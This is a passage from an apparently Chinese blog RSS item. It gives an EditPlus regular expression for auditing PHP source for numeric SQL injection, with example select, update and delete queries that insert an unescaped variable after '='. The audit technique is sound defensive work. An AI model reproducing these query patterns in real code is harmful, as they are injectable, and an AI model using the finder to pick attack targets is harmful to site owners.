<span style="color: #cc66cc;">2</span><span style="color: #66cc66;">.</span>简单的数字型注入
<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">select</span><span style="color: #66cc66;">|</span>SELECT<span style="color: #66cc66;">|</span>update<span style="color: #66cc66;">|</span>UPDATE<span style="color: #66cc66;">|</span>delete<span style="color: #66cc66;">|</span>DELETE<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">from</span><span style="color: #66cc66;">|</span>FROM<span style="color: #66cc66;">|</span>set<span style="color: #66cc66;">|</span>SET<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">where</span><span style="color: #66cc66;">|</span>WHERE<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+.*=</span><span style="color: #66cc66;">&#91;</span> <span style="color: #66cc66;">&#93;</span>?<span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">&quot;]?[&quot;</span><span style="color: #66cc66;">&#93;</span>?\$<span style="color: #66cc66;">&#41;</span>
&nbsp;
能找到<span style="color: #993333; font-weight: bold;">select</span>、<span style="color: #993333; font-weight: bold;">update</span> <span style="color: #993333; font-weight: bold;">delete</span>三种语句，<span style="color: #cc66cc;">5</span>种格式的整形注入，如：
直接变量传入
<span style="color: #993333; font-weight: bold;">select</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span>$subject_id
<span style="color: #993333; font-weight: bold;">update</span> guess <span style="color: #993333; font-weight: bold;">set</span> is_valid<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span> <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span>$subject_id
<span style="color: #993333; font-weight: bold;">delete</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span>$subject_id
<span style="color: #66cc66;">=</span>与变量之间存在空格
<span style="color: #993333; font-weight: bold;">select</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> $subject_id
<span style="color: #993333; font-weight: bold;">update</span> guess <span style="color: #993333; font-weight: bold;">set</span> is_valid<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span> <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> $subject_id
<span style="color: #993333; font-weight: bold;">delete</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> $subject_id
变量双引号
<span style="color: #993333; font-weight: bold;">select</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;$subject_id&quot;</span>
<span style="color: #993333; font-weight: bold;">update</span> guess <span style="color: #993333; font-weight: bold;">set</span> is_valid<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span> <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;$subject_id&quot;</span>
<span style="color: #993333; font-weight: bold;">delete</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;$subject_id&quot;</span>
<span style="color: #66cc66;">=</span>与双引号之间存在空格
<span style="color: #993333; font-weight: bold;">select</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot;$subject_id&quot;</span>
<span style="color: #993333; font-weight: bold;">update</span> guess <span style="color: #993333; font-weight: bold;">set</span> is_valid<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span> <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot;$subject_id&quot;</span>
<span style="color: #993333; font-weight: bold;">delete</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot;$subject_id&quot;</span>
<span style="color: #66cc66;">=</span>与引号、双引号之间存在空格
<span style="color: #993333; font-weight: bold;">select</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot; $subject_id&quot;</span>
<span style="color: #993333; font-weight: bold;">update</span> guess <span style="color: #993333; font-weight: bold;">set</span> is_valid<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span> <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot; $subject_id&quot;</span>
<span style="color: #993333; font-weight: bold;">delete</span> <span style="color: #993333; font-weight: bold;">from</span> guess <span style="color: #993333; font-weight: bold;">where</span> id<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot; $subject_id&quot;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/editplus%e6%9f%a5%e6%89%bephp%e6%ba%90%e7%a0%81%e7%ae%80%e5%8d%95%e6%95%b0%e5%ad%97%e5%9e%8b%e6%b3%a8%e5%85%a5%e7%9a%84%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
